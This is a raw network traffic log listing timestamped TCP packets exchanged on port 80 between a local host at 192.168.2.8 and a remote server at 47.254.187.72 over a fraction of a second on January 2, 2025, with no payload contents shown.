Jan 2, 2025 20:20:09.438457966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438462973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438477993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438493967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438493967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438529968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438611031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438700914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438713074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438724995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438735008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438745975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438755989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438760042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438760042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438766956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.438818932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.438818932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.443849087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.443859100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.443881035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.443892002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.443902969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.443924904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.443947077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.443989038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.443989038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.444004059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.444016933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.444029093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.444061041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.444097996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.445734024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445751905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445763111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445812941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.445812941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.445826054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445837975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445847988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445859909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445869923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.445900917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.445945024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445955992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445967913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445979118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445991039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.445997000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.446001053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.446011066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.446017981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.446022034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.446031094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.446069956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.472764015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472778082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472788095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472809076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472819090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472831011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472843885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.472887993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.472924948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472937107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472946882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472959042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472970009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472980976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.472990036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.472992897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.473005056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.473006010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.473021984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.473041058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.473041058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.473099947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.484177113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484231949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484241962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484252930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484263897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.484270096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484281063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484287024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.484292984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484302998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.484318972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.484366894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.490699053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490710974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490726948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490739107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490750074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490760088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490772009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.490808964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.490808964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.490875959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.494544983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494600058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494611979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494623899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494642019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494652987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494664907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.494666100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.494704962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.498110056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498126984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498193979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.498202085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498212099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498231888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498243093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498245955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.498254061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498264074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.498295069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.498332024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.515214920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515233040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515244961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515254974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515265942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515275955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515286922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.515335083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.515335083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.515391111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528471947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528485060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528507948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528518915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528537989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528538942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528548956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528559923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528565884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528565884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528577089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528601885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528625011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528636932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528640985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528651953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528661966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528672934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528681993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528683901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528696060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528696060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528707027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528737068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528747082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528757095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528758049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528768063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528784990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528796911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528798103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528806925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528819084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528824091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528829098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528840065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528856039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528866053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528875113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528876066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528877020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528893948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528904915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528908014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528915882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528948069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528948069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528954983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528964996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528976917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528980017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.528987885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.528997898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529009104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529023886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529023886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529038906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529201031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529211998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529222012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529253960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529277086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529279947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529289007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529299021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529309988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529320955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.529326916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529367924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.529367924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.534615993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534634113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534651041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534662962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534673929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534686089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534696102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.534718990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.534742117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.534782887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536360025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536374092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536384106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536393881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536405087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536420107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536421061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536432028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536442041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536459923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536465883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536472082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536482096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536492109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536493063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536514997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536526918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536535025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536535025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536536932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536547899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536556959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.536577940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.536600113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563360929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563374043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563391924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563445091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563446045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563465118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563476086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563492060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563496113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563503027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563508987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563514948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563532114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563540936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563540936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563569069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563570023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563580036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563591003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563592911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563601017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563611984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563611984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.563641071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.563669920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.574770927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574784040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574801922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574812889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574824095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574834108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574845076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.574862957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.574892998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.581260920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581273079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581338882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.581351995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581363916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581377029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581387997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581398964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581408978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.581413984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.581413984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.581434965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.581446886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.585107088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585119009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585151911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585197926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.585197926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.585222006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585233927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585247993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585258961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585269928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585272074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.585278988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.585319042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.585319042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.588726997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588748932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588758945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588799000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.588824034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588835955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588839054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.588848114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588856936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588869095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.588881969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.588963032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.605786085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605798006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605840921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.605884075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.605911016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605923891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605935097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605946064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605957031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605967999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.605968952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.606009007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.606009007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619033098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619088888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619096994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619107008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619124889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619141102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619152069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619163036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619172096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619172096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619174004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619191885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619203091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619211912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619215012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619215012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619221926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619236946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619246960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619256020 CET	49704	80	192.168.2.8	47.254.187.72
